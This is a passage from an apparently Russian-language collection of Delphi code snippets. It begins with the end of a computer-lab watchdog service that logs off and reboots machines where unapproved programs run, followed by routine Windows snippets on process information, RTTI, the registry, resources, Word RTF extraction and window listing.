// -------------
// enable complete Boolean expression evaluation
{$B+}
procedure TwDog.dx_timeTimer(Sender: TObject);
begin
  // Check login
  // - service started under SYSTEM account, so it works on system boot.
  // To prevent machine from deadlock we must check if someone
  // has logged in.
  if IsLoggedIn then
  begin
    // turn off timer - to prevent
    // double elimination
    dx_time.Enabled := false;
    // make some delay - for user processes startup
    // just after login
    Sleep(SleepAftLogin);
    // try to find by classname, process name
    if IsFoundByClass and
      IsFoundByProcName then
    begin
{$IFDEF WRITE_FOUND}
      WriteLog('[FOUND]');
{$ENDIF}
    end
    else // cheater found
    begin
{$IFNDEF _DEV_}
      SndMessage;
{$ENDIF}
      Kill;
      InitiateShutdown;
    end;
    dx_time.Enabled := True;
  end;
end;
{$B-}
// -------------
procedure SndMessage;
var
  stmp: string;
  buf: array[0..127] of Char;
  num: DWord;
begin
  num := 128;
  stmp := EmptyStr;
  if GetComputerName(buf, num) then
    SetString(stmp, buf, num)
  else
    ; // no result for netbios name
  //
  stmp := Format('::Cheater detected on [%s]::', [stmp]);
  WriteLog(stmp);
  stmp := Format('%s %s', [StekServer, stmp]);
  // NetMessageBufferSend
  ShellExecute(0, 'open', 'net', PChar('send ' + stmp), nil, SW_HIDE);
  sleep(50);
end;
// -------------
procedure Kill;
begin
  WriteLog('[KILL]');
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
  writeDirect(10, 10, 'KILL');
{$ENDIF}
{$ELSE}
  ExitWindowsEx(EWX_LOGOFF or EWX_FORCE, 0);
{$ENDIF}
end;
// -------------
function WriteLog(Status: string): DWord;
begin
  if (hLog = INVALID_HANDLE_VALUE) or (hLog = 0) then
  begin
    if FileExists(LogPath) then
      hLog := CreateFile(PChar(LogPath),
        GENERIC_READ or GENERIC_WRITE,
        FILE_SHARE_READ,
        nil,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL or CreateOptScan,
        0)
    else
      hLog := CreateFile(PChar(LogPath),
        GENERIC_READ or GENERIC_WRITE,
        FILE_SHARE_READ,
        nil,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL or CreateOptScan,
        0);
    if hLog = INVALID_HANDLE_VALUE then
    begin
      Result := DWord(-1);
      exit;
    end;
    // seek to the end of log
    FileSeek(hLog, 0, 2);
  end;
  FillChar(xBuf, $FF, 0);
  Status := Format('%s - %s'#13#10,
    [FormatDateTime('hh:nn:ss', Now),
    Status]);
  move((Pointer(@Status[1]))^, xBuf, Length(Status));
  // write buffer
  FileWrite(hLog, xBuf, Length(Status));
  // flush file buffers
  FlushFileBuffers(hLog);
  Result := 0;
end;
// -------------
{$IFDEF _DEV_}
procedure ShowError(erno: DWord);
var
  MsgBuf: array[0..$FF - 1] of Char;
begin
  if erno = ERROR_SUCCESS then
    exit;
  //
  FillChar(MsgBuf, $FF, 0);
  FormatMessage(
    FORMAT_MESSAGE_FROM_SYSTEM,
    nil,
    erno,
    ((WORD(SUBLANG_DEFAULT) shl 10) or WORD(LANG_NEUTRAL)),
    MsgBuf,
    $FF,
    nil);
  // Display the string.
  MessageBox(0, MsgBuf, 'GetLastError', MB_OK + MB_ICONINFORMATION + MB_TASKMODAL
    + MB_SERVICE_NOTIFICATION);
end;
{$ENDIF}
// -------------
procedure TwDog.InitiateShutdown;
begin
  InitiateSystemShutdown(nil, // shut down local computer
    'Cheater detected on this system. Shutdown initiated.', // message to user
    10, // time-out period
    FALSE, // ask user to close apps
    TRUE); // reboot after shutdown
  // bQuite:=False;
end;
// -- end of source --

Получение количества тактов процессора с момента перезагрузки.

Автор: Григорьев Павел WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение количества тактов процессора с момента перезагрузки
Получение количества тактов процессора с момента перезагрузки.
Производится вызов команды RDTSC x86 процессора.
Имеются во всех процах начиная с Pentium/586.
Подходит для всех версий Дельфи, где есть тип Int64.
Для остальных можно переписать слегка -
результат перекладывать в две переменные Integer.
Я ее использую для определения кол-ва
процессорного времени на выполнение куска кода.
Зависимости: можно использовать на всех процах, начиная с Pentium
Автор:       Григорьев Павел, xli@rambler.ru, Щёлково-4
Copyright:   справочник по командам процессора Pentium
Дата:        17 декабря 2003 г.
***************************************************** }
function RDTSC: int64; assembler;
asm
  db $0F,$31 // RDTSC
end;

Пример использования:

var
  TimePeriod: int64;
  ...
begin
  ...
  TimePeriod := RDTSC;
  {кусок анализируемого кода}
  TimePeriod := RDTSC - TimePeriod;
  {полученное значение TimePeriod можно анализировать}
  ...
end;

Получить сведения о процессе.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Der Quellcode wurde von NicoDE (nico@bendlins.de) geschrieben. 
{ 
  Diese Funktion schreibt alle Informationen uber den in Edit1.text angegeneben NT 
  Prozess (ProzessID) in das Feld Memo1. 
}
 { 
  This function write all nt process informations into memo1. In Edit1 you can 
  specify the processID. 
}
 type
   PDebugModule = ^TDebugModule;
   TDebugModule = packed record
     Reserved: array [0..1] of Cardinal;
     Base: Cardinal;
     Size: Cardinal;
     Flags: Cardinal;
     Index: Word;
     Unknown: Word;
     LoadCount: Word;
     ModuleNameOffset: Word;
     ImageName: array [0..$FF] of Char;
   end;
 type
   PDebugModuleInformation = ^TDebugModuleInformation;
   TDebugModuleInformation = record
     Count: Cardinal;
     Modules: array [0..0] of TDebugModule;
   end;
   PDebugBuffer = ^TDebugBuffer;
   TDebugBuffer = record
     SectionHandle: THandle;
     SectionBase: Pointer;
     RemoteSectionBase: Pointer;
     SectionBaseDelta: Cardinal;
     EventPairHandle: THandle;
     Unknown: array [0..1] of Cardinal;
     RemoteThreadHandle: THandle;
     InfoClassMask: Cardinal;
     SizeOfInfo: Cardinal;
     AllocatedSize: Cardinal;
     SectionSize: Cardinal;
     ModuleInformation: PDebugModuleInformation;
     BackTraceInformation: Pointer;
     HeapInformation: Pointer;
     LockInformation: Pointer;
     Reserved: array [0..7] of Pointer;
   end;
 const
   PDI_MODULES = $01;
   ntdll = 'ntdll.dll';
 var
   HNtDll: HMODULE;
 type
   TFNRtlCreateQueryDebugBuffer = function(Size: Cardinal;
     EventPair: Boolean): PDebugBuffer;
    stdcall;
   TFNRtlQueryProcessDebugInformation = function(ProcessId,
     DebugInfoClassMask: Cardinal; var DebugBuffer: TDebugBuffer): Integer;
    stdcall;
   TFNRtlDestroyQueryDebugBuffer = function(DebugBuffer: PDebugBuffer): Integer;
    stdcall;
 var
   RtlCreateQueryDebugBuffer: TFNRtlCreateQueryDebugBuffer;
   RtlQueryProcessDebugInformation: TFNRtlQueryProcessDebugInformation;
   RtlDestroyQueryDebugBuffer: TFNRtlDestroyQueryDebugBuffer;
 function LoadRtlQueryDebug: LongBool;
 begin
   if HNtDll = 0 then
   begin
     HNtDll := LoadLibrary(ntdll);
     if HNtDll <> 0 then
     begin
       RtlCreateQueryDebugBuffer       := GetProcAddress(HNtDll, 'RtlCreateQueryDebugBuffer');
       RtlQueryProcessDebugInformation := GetProcAddress(HNtDll,
         'RtlQueryProcessDebugInformation');
       RtlDestroyQueryDebugBuffer      := GetProcAddress(HNtDll,
         'RtlDestroyQueryDebugBuffer');
     end;
   end;
   Result := Assigned(RtlCreateQueryDebugBuffer) and
     Assigned(RtlQueryProcessDebugInformation) and
     Assigned(RtlQueryProcessDebugInformation);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   DbgBuffer: PDebugBuffer;
   Loop: Integer;
 begin
   if not LoadRtlQueryDebug then Exit;
   Memo1.Clear;
   Memo1.Lines.BeginUpdate;
   DbgBuffer := RtlCreateQueryDebugBuffer(0, False);
   if Assigned(DbgBuffer) then
     try
       if RtlQueryProcessDebugInformation(StrToIntDef(Edit1.Text, GetCurrentProcessId),
         PDI_MODULES, DbgBuffer^) >= 0 then
       begin
         for Loop := 0 to DbgBuffer.ModuleInformation.Count - 1 do
           with DbgBuffer.ModuleInformation.Modules[Loop], Memo1.Lines do
           begin
             Add('ImageName: ' + ImageName);
             Add('  Reserved0: ' + IntToHex(Reserved[0], 8));
             Add('  Reserved1: ' + IntToHex(Reserved[1], 8));
             Add('  Base: ' + IntToHex(Base, 8));
             Add('  Size: ' + IntToHex(Size, 8));
             Add('  Flags: ' + IntToHex(Flags, 8));
             Add('  Index: ' + IntToHex(Index, 4));
             Add('  Unknown: ' + IntToHex(Unknown, 4));
             Add('  LoadCount: ' + IntToHex(LoadCount, 4));
             Add('  ModuleNameOffset: ' + IntToHex(ModuleNameOffset, 4));
           end;
       end;
     finally
       RtlDestroyQueryDebugBuffer(DbgBuffer);
     end;
   Memo1.Lines.EndUpdate;
 end;

Получить количество памяти, занимаемое процессом.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Works only on Windows NT systems (WinNT, Win2000, WinXP) 
// Funktioniert nur unter Windows NT Systemen (WinNT, Win2000, WinXP) 
uses psAPI;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   pmc: PPROCESS_MEMORY_COUNTERS;
   cb: Integer;
 begin
   cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
   GetMem(pmc, cb);
   pmc^.cb := cb;
   if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then
     Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'
   else
     Label1.Caption := 'Unable to retrieve memory usage structure';
   FreeMem(pmc);
 end;

Получение типа процессора.

function GetProcessorType: integer;
{Определение типа процессора.
Функция возвращает следующие значения,
определенные в модуле Windows:
PROCESSOR_INTEL_386
PROCESSOR_INTEL_486
PROCESSOR_INTEL_PENTIUM
PROCESSOR_MIPS_R4000 - Windows NT only
PROCESSOR_ALPHA_21064 - Windows NT only}
var
  sysInfo: TSystemInfo;
begin
  GetSystemInfo(sysInfo);
  Result := sysInfo.dwProcessorType;
end;

Вывести информацию о возможных значениях свойств.

Автор: Xavier Pacheco

unit MainFrm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Grids;
type
  TMainForm = class(TForm)
    lbSamps: TListBox;
    memInfo: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure lbSampsClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses TypInfo, Buttons;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
  // Add some example enumerated types
  with lbSamps.Items do
  begin
    AddObject('TBorderIcons', TypeInfo(TBorderIcons));
    AddObject('TGridOptions', TypeInfo(TGridOptions));
  end;
end;
procedure GetTypeInfoForOrdinal(AOrdTypeInfo: PTypeInfo; AStrings: TStrings);
var
  //  OrdTypeInfo: PTypeInfo;
  OrdTypeData: PTypeData;
  TypeNameStr: string;
  TypeKindStr: string;
  MinVal, MaxVal: Integer;
  i: integer;
begin
  // Get the TTypeData pointer
  OrdTypeData := GetTypeData(AOrdTypeInfo);
  // Get the type name string
  TypeNameStr := AOrdTypeInfo.Name;
  // Get the type kind string
  TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(AOrdTypeInfo^.Kind));
  // Get the minimum and maximum values for the type
  MinVal := OrdTypeData^.MinValue;
  MaxVal := OrdTypeData^.MaxValue;
  // Add the information to the memo
  with AStrings do
  begin
    Add('Type Name: ' + TypeNameStr);
    Add('Type Kind: ' + TypeKindStr);
    // Call this function recursively to show the enumeration
    // values for this set type.
    if AOrdTypeInfo^.Kind = tkSet then
    begin
      Add('==========');
      Add('');
      GetTypeInfoForOrdinal(OrdTypeData^.CompType^, AStrings);
    end;
    // Show the values and names of the enumerated types belonging to the
    // set.
    if AOrdTypeInfo^.Kind = tkEnumeration then
    begin
      Add('Min Val: ' + IntToStr(MinVal));
      Add('Max Val: ' + IntToStr(MaxVal));
      for i := MinVal to MaxVal do
        Add(Format('  Value: %d   Name: %s', [i, GetEnumName(AOrdTypeInfo,
          i)]));
    end;
  end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
begin
  memInfo.Lines.Clear;
  with lbSamps do
    GetTypeInfoForOrdinal(PTypeInfo(Items.Objects[ItemIndex]), memInfo.Lines);
end;
end.

Получить список свойств компонента.

Автор: http://www.lmc-mediaagentur.de You may need to know at runtime what properties are available for a particular component at runtime. The list can be obtained by a call to GetPropList. The types, functions and procedures, including GetPropList, that allow access to this property information reside in the VCL source file TYPINFO.PAS.

GetPropList Parameters.

function GetPropList(TypeInfo: PTypeInfo; TypeKinds:
  TTypeKinds; PropList: PPropList): Integer;

The first parameter for GetPropList is of type PTypeInfo, and is part of the RTTI (Run Time Type Information) available for any object. The record structure defined:

PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
  Kind: TTypeKind;
  Name: ShortString;
  {TypeData: TTypeData}
end;

The TTypeInfo record can be accessed through the objects ClassInfo property. For example, if you were getting the property list of a TButton, the call might look, so far, like this:

GetPropList(Button1.ClassInfo, .... 

The second parameter, of type TTypeKinds, is a set type that acts as a filter for the kinds of properties to include in the list. There are a number of valid entries that could be included in the set (see TYPEINFO.PAS), but tkProperties covers the majority. Now our call to GetPropList would look like:

GetPropList(Button1.ClassInfo, tkProperties .... 

The last parameter, PPropList is an array of PPropInfo and is defined in TYPEINFO.PAS:

PPropList = ^TPropList;
TPropList = array[0..16379] of PPropInfo;

Now the call might read:

procedure TForm1.FormCreate(Sender: TObject);
var
  PropList: PPropList;
begin
  PropList := AllocMem(SizeOf(PropList^));
  GetPropList(TButton.ClassInfo, tkProperties + [tkMethod], PropList);
{...}
Getting Additional Information from the TTypeInfo Record:

The example at the end of this document lists not just the property name, but it's type. The name of the property type resides in an additional set of structures. Let's take a second look at the TPropInfo record. Notice that it contains a PPTypeInfo that points ultimately to a TTypeInfo record. TTypeInfo contains the class name of the property.

PPropInfo = ^TPropInfo;
TPropInfo = packed record
  PropType: PPTypeInfo;
  GetProc: Pointer;
  SetProc: Pointer;
  StoredProc: Pointer;
  Index: Integer;
  Default: Longint;
  NameIndex: SmallInt;
  Name: ShortString;
end;
PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
  Kind: TTypeKind;
  Name: ShortString;
  {TypeData: TTypeData}
end;
The example below shows how to set up the call to GetPropList, and how to access the array elements. TForm will be referenced in this example instead of TButton, but you can substitute other values in the GetPropList call. The visible result will be to fill the list with the property name and type of the TForm properties.

This project requires a TListBox. Enter the code below in the forms OnCreate event handler.

uses
  TypInfo;
procedure TForm1.FormCreate(Sender: TObject);
var
  PropList: PPropList;
  i: integer;
begin
  PropList := AllocMem(SizeOf(PropList^));
  i := 0;
  try
    GetPropList(TForm.ClassInfo, tkProperties + [tkMethod], PropList);
    while (PropList^[i] <> nil) and (i < High(PropList^)) do
    begin
      ListBox1.Items.Add(PropList^[i].Name + ': ' +
        PropList^[i].PropType^.Name);
      Inc(i);
    end;
  finally
    FreeMem(PropList);
  end;
end;

Как прочитать весь список Published методов.

Автор: http://www.lmc-mediaagentur.de

procedure EnumMethods(aClass: TClass; lines: TStrings);
type
  TMethodtableEntry = packed record
    len: Word;
    adr: Pointer;
    name: ShortString;
  end;
  {Note: name occupies only the size required, so it is not a true shortstring! The actual
  entry size is variable, so the method table is not an array of TMethodTableEntry!}
var
  pp: ^Pointer;
  pMethodTable: Pointer;
  pMethodEntry: ^TMethodTableEntry;
  i, numEntries: Word;
begin
  if aClass = nil then
    Exit;
  pp := Pointer(Integer(aClass) + vmtMethodtable);
  pMethodTable := pp^;
  lines.Add(format('Class %s: method table at %p', [aClass.Classname,
    pMethodTable]));
  if pMethodtable <> nil then
  begin
    {first word of the method table contains the number of entries}
    numEntries := PWord(pMethodTable)^;
    lines.Add(format('  %d published methods', [numEntries]));
    {make pointer to first method entry, it starts at the second word of the table}
    pMethodEntry := Pointer(Integer(pMethodTable) + 2);
    for i := 1 to numEntries do
    begin
      with pMethodEntry^ do
        lines.Add(format('  %d: len: %d, adr: %p, name: %s', [i, len, adr,
          name]));
      {make pointer to next method entry}
      pMethodEntry := Pointer(Integer(pMethodEntry) + pMethodEntry^.len);
    end;
  end;
  EnumMethods(aClass.ClassParent, lines);
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
  memo1.clear;
  EnumMethods(Classtype, memo1.lines);
end;

Как получить список всех published свойств (имена и типы).

Автор: Ronan van Riet WEB-сайт: http://www.lmc-mediaagentur.de

function GetComponentProperties(Instance: TPersistent; AList: TStrings):
  Integer;
var
  I, Count: Integer;
  PropInfo: PPropInfo;
  PropList: PPropList;
begin
  Result := 0;
  Count := GetTypeData(Instance.ClassInfo)^.PropCount;
  if Count > 0 then
  begin
    GetMem(PropList, Count * SizeOf(Pointer));
    try
      GetPropInfos(Instance.ClassInfo, PropList);
      for I := 0 to Count - 1 do
      begin
        PropInfo := PropList^[I];
        if PropInfo = nil then
          Break;
        if IsStoredProp(Instance, PropInfo) then
        begin
          {
          case PropInfo^.PropType^.Kind of
            tkInteger:
            tkMethod:
            tkClass:
            ...
          end;
          }
        end;
        Result := AList.Add(PropInfo^.Name);
      end;
    finally
      FreeMem(PropList, Count * SizeOf(Pointer));
    end;
  end;
end;

Как получить список всех published свойств (имена и типы) 2.

Автор: Grega Loboda WEB-сайт: http://www.lmc-mediaagentur.de

uses
  TypInfo
procedure ListProperties(AInstance: TPersistent; AList: TStrings);
var
  i: integer;
  pInfo: PTypeInfo;
  pType: PTypeData;
  propList: PPropList;
  propCnt: integer;
  tmpStr: string;
begin
  pInfo := AInstance.ClassInfo;
  if (pInfo = nil) or (pInfo^.Kind <> tkClass) then
    raise Exception.Create('Invalid type information');
  pType := GetTypeData(pInfo); {Pointer to TTypeData}
  AList.Add('Class name: ' + pInfo^.Name);
  {If any properties, add them to the list}
  propCnt := pType^.PropCount;
  if propCnt > 0 then
  begin
    AList.Add(EmptyStr);
    tmpStr := IntToStr(propCnt) + ' Propert';
    if propCnt > 1 then
      tmpStr := tmpStr + 'ies'
    else
      tmpStr := tmpStr + 'y';
    AList.Add(tmpStr);
    FillChar(tmpStr[1], Length(tmpStr), '-');
    AList.Add(tmpStr);
    {Get memory for the property list}
    GetMem(propList, sizeOf(PPropInfo) * propCnt);
    try
      {Fill in the property list}
      GetPropInfos(pInfo, propList);
      {Fill in info for each property}
      for i := 0 to propCnt - 1 do
        AList.Add(propList[i].Name + ': ' + propList[i].PropType^.Name);
    finally
      FreeMem(propList, sizeOf(PPropInfo) * propCnt);
    end;
  end;
end;
function GetPropertyList(AControl: TPersistent; AProperty: string): PPropInfo;
var
  i: integer;
  props: PPropList;
  typeData: PTypeData;
begin
  Result := nil;
  if (AControl = nil) or (AControl.ClassInfo = nil) then
    Exit;
  typeData := GetTypeData(AControl.ClassInfo);
  if (typeData = nil) or (typeData^.PropCount = 0) then
    Exit;
  GetMem(props, typeData^.PropCount * SizeOf(Pointer));
  try
    GetPropInfos(AControl.ClassInfo, props);
    for i := 0 to typeData^.PropCount - 1 do
    begin
      with Props^[i]^ do
        if (Name = AProperty) then
          result := Props^[i];
    end;
  finally
    FreeMem(props);
  end;
end;

And calling this code by:

ListProperties(TProject(treeview1.items[0].data), memo3.lines); 

My tProject is defined as.

type
  TProject = class(tComponent)
  private
    FNaam: string;
    procedure SetNaam(const Value: string);
  public
    constructor Create(AOwner: tComponent);
    destructor Destroy;
  published
    property Naam: string read FNaam write SetNaam;
  end;
Also note the output, there seem to be 2 standard properties (Name and Tag) ! Memo3 Class name: TProject

3 Properties ------------------- Name: TComponentName Tag: Integer Naam: String.

Получить многострочные значения из реестра и преобразовать их в TStringList.

function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
const
  bufsize = 100;
var
  i: integer;
  s1: string;
  sl: TStringList;
  bin: array[1..bufsize] of char;
begin
  try
    result := nil;
    sl := nil;
    sl := TStringList.Create;
    if not Assigned(reg) then
      raise Exception.Create('TRegistry object not assigned.');
    FillChar(bin, bufsize, #0);
    reg.ReadBinaryData(Key, bin, bufsize);
    i := 1;
    s1 := '';
    while i < bufsize do
    begin
      if ord(bin[i]) >= 32 then
        s1 := s1 + bin[i]
      else
      begin
        if Length(s1) > 0 then
        begin
          sl.Add(s1);
          s1 := '';
        end;
      end;
      inc(i);
    end;
    result := sl;
  except
    sl.Free;
    raise;
  end;
end;

Получить все имена ресурсов, что были загружены данным приложением.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TForm1 = class(TForm)
     Button1: TButton;
     Memo1: TMemo;
     procedure Button1Click(Sender: TObject);
   private
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 function enumResNamesProc(module: HMODULE; restype, resname: PChar;
   list: TStrings): Integer; stdcall;
 begin
   if HiWord(Cardinal(resname)) <> 0 then
     list.Add('  ' + resname)
   else
     list.Add(Format('  #%d', [loword(Cardinal(resname))]));
   Result := 1;
 end;
 Function StockResourceType(restype: PChar): string;
 const
   restypenames: Array [1..22] of String =
     ( 'RT_CURSOR', //       = MakeIntResource(1); 
      'RT_BITMAP', //       = MakeIntResource(2); 
      'RT_ICON',   //       = MakeIntResource(3); 
      'RT_MENU',   //       = MakeIntResource(4); 
      'RT_DIALOG', //       = MakeIntResource(5); 
      'RT_STRING', //       = MakeIntResource(6); 
      'RT_FONTDIR',//       = MakeIntResource(7); 
      'RT_FONT',   //       = MakeIntResource(8); 
      'RT_ACCELERATOR',//   = MakeIntResource(9); 
      'RT_RCDATA', //       = MakeIntResource(10); 
      'RT_MESSAGETABLE',//  = MakeIntResource(11); 
      // DIFFERENCE = 11; 
      'RT_GROUP_CURSOR',// = MakeIntResource(DWORD(RT_CURSOR +7DIFFERENCE)); 
      'UNKNOWN',        // 13 not used 
      'RT_GROUP_ICON',  //   = MakeIntResource(DWORD(RT_ICON +DIFFERENCE)); 
      'UNKNOWN',        // 15 not used 
      'RT_VERSION',     // = MakeIntResource(16); 
      'RT_DLGINCLUDE',  // = MakeIntResource(17); 
      'UNKNOWN',
       'RT_PLUGPLAY',    // = MakeIntResource(19); 
      'RT_VXD',         // = MakeIntResource(20); 
      'RT_ANICURSOR',   // = MakeIntResource(21); 
      'RT_ANIICON'     // = MakeIntResource(22); 
    );
 var
   resid: Cardinal absolute restype;
 begin
   if resid in [1..22] then
     Result := restypenames[resid]
   else
     Result := 'UNKNOWN';
 end;
 function enumResTypesProc(module: HMODULE; restype: PChar; list: TStrings): Integer; stdcall;
 begin
   if HiWord(Cardinal(restype)) <> 0 then
     list.Add(restype)
   else
     list.Add(Format('Stock type %d: %s', [LoWord(Cardinal(restype)),
       StockResourcetype(restype)]));
   EnumResourceNames(module, restype, @enumResNamesProc, Integer(list));
   Result := 1;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   memo1.Clear;
   if not EnumResourceTypes(hinstance, @enumResTypesProc, Integer(memo1.Lines)) then
     memo1.Lines.Add(Format('GetLastError= %8.8x', [GetLastError]))
   else
     memo1.Lines.Add('Successful');
 end;
 end.

Как найти корневой каталог.

Автор: LENIN INC WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Как найти корневой каталог...
Зависимости: Windows
Автор:       LENIN INC, fuck2all@ukr.net, Kiev
Copyright:   LENIN INC, http://lenininc.narod.ru
Дата:        22 февраля 2003 г.
***************************************************** }
//Находим корневой каталог
function RootDir: string;
var
  buffer: array[0..1023] of char;
begin
  SetString(Result, Buffer, GetWindowsDirectory(Buffer, Sizeof(Buffer) - 1));
  if (Result <> '') and (Result[Length(Result)] <> '\') then
    Result := Copy(Result + '\', 1, 3);
end;

Взять RTF-текст из запущенного MS Word без использования буфера обмена.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   Word_TLB, ActiveX, ComObj;
 function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean;
 var
   Formats: IEnumFORMATETC;
   TempFormat: TFormatEtc;
   pFormatName: PChar;
   Found: Boolean;
 begin
   try
     OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats));
     Found := False;
     while (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do
     begin
       pFormatName := AllocMem(255);
       GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254);
       if (string(pFormatName) = 'Rich Text Format') then
       begin
         RTFFormat := TempFormat;
         Found := True;
       end;
       FreeMem(pFormatName);
     end;
     Result := Found;
   except
     Result := False;
   end;
 end;
 function GetRTF: string;
 var
   DataObject: IDataObject;
   RTFFormat: TFormatEtc;
   ReturnData: TStgMedium;
   Buffer: PChar;
   WordDoc: _Document;
   WordApp: _Application;
 begin
   Result := '';
   try
     GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp);
   except
     ShowMessage('Error: MSWord is not running');
     Exit;
   end;
   if (WordApp <> nil) then
     try
       WordDoc := WordApp.ActiveDocument;
       WordDoc.QueryInterface(IDataObject, DataObject);
       if GetRTFFormat(DataObject, RTFFormat) then
       begin
         OleCheck(DataObject.GetData(RTFFormat, ReturnData));
         //RTF is passed through global memory 
        Buffer := GlobalLock(ReturnData.hglobal);
         //Buffer is a pointer to the RTF text 
        Result := StrPas(Buffer);
         GlobalUnlock(ReturnData.hglobal);
         ReleaseStgMedium(ReturnData);
       end;
     except
       // Error occured... 
    end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   ss: TStringstream;
   rtfText: string;
 begin
   rtfText := GetRTF;
   ss := TStringStream.Create(rtfText);
   try
     ss.Position := 0;
     Memo1.Text := rtfText;
     RichEdit1.Lines.LoadFromStream(ss);
   finally
     ss.Free
   end;
 end;

Взят RTF отформатированный текст из TRichEdit.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetRTFText(ARichEdit: TRichedit): string;
 var
   ss: TStringStream;
   emptystr: string;
 begin
   emptystr := '';
   ss := TStringStream.Create(emptystr);
   try
     ARichEdit.PlainText := False;
     ARichEdit.Lines.SaveToStream(ss);
     Result := ss.DataString;
   finally
     ss.Free
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Memo1.Text := GetRTFText(RichEdit1);
 end;

Получение списка окон, с возможностью указания типа окна.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка окон, с возможностью указания типа окна
Процедура заполняет список List именами окон, в ОС.
ПАРАМЕТРЫ:
YourApplicationHandle - дескриптор приложения,
вызывающего процедуру (Application.Handle);
ShowOwnWindow - указание на то, что в списке List,
должно быть также имя окна вызвавшего процедуру;
ShowInvisibleWindows - укание на отображение в List имён невидимых окон;
ShowChildWindows - указание на отображение в LIST имён дочерних окон;
ShowNoHeadWindows - отображение списка окон, без заголовков;
ShowMainWindows - отображение родительских окон.
Также для каждой строки списка LIST добавляется объект (Object),
который содержит указатель дескриптор окна.
При обнаружении недостатков, или вопиющей неоптимальности кода - пишите :)
Зависимости: sysutils, classes, windows, UBPFD.GetWordListFromText
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        02 мая 2002 г.
***************************************************** }
procedure GetWindowsList(List: TStrings; YourApplicationHandle: HWND;
  ShowOwnWindow, ShowInvisibleWindows, ShowChildWindows, ShowNoHeadWindows,
  ShowMainWindows: Boolean);
var
  Wnd: hWnd;
  buff: array[0..127] of Char;
  I: integer;
  CanShowIt: Boolean;
  WindowType, UnAcceptWinTypes: string;
  WordList: TStringList;
begin
  List.Clear;
  Wnd := GetWindow(YourApplicationHandle, gw_HWndFirst);
  WordList := TStringList.Create;
  while Wnd <> 0 do
  begin
    WindowType := '';
    if Wnd = YourApplicationHandle then
      WindowType := WindowType + ' own '; {собственное окно}
    if IsWindowVisible(Wnd) = null then
      WindowType := WindowType + ' invisible '; {-Невидимые окна}
    if GetWindow(Wnd, gw_child) <> 0 then
      WindowType := WindowType + ' child '; {-Дочерние окна}
    if GetWindowText(Wnd, buff, sizeof(buff)) = 0 then
      WindowType := WindowType + ' nohead '; {-Окна без заголовков}
    if GetWindow(Wnd, gw_Owner) <> 0 then
      WindowType := WindowType + ' main '; {-Главные окна}
    UnAcceptWinTypes := '';
    if ShowOwnWindow = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' own ';
    if ShowInvisibleWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' invisible ';
    if ShowChildWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' child ';
    if ShowNoHeadWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' nohead ';
    if ShowMainWindows = False then
      UnAcceptWinTypes := UnAcceptWinTypes + ' main ';
    CanShowIt := True;
    GetWordListFromText(UnAcceptWinTypes, ' ', WordList, False, False);
    if WordList.Count > 0 then
    begin
      I := -1;
      repeat
        I := I + 1;
        if Pos(WordList.Strings[i], WindowType) > 0 then
          CanShowIt := False;
      until (I = WordList.Count - 1) or (CanShowIt = False);
    end;
    if CanShowIt = True then
    begin
      GetWindowText(Wnd, buff, sizeof(buff));
      I := List.Add(StrPas(buff));
      List.Objects[I] := Pointer(Wnd);
    end;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  end;
  WordList.Free;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetWindowsList(memo1.Lines, self.Handle, true, false, false, true, true);
end;

Получение списка процессов в Windows 9x и NT.

Автор: Евгений Пелега WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка процессов в Windows 9x/NT
Определяет список модулей, запущенных в настоящее время в системе, и заносит их
имена в список TStrings. На Win9x использует функции ToolHelp32,
на NT/2000/XP - библиотеку PSAPI.dll
Зависимости: Windows, Classes, PSAPI, TlHelp32
Автор:       Евгений Пелега, drpass@mail.ru, Донецк
Copyright:   Евгений Пелега
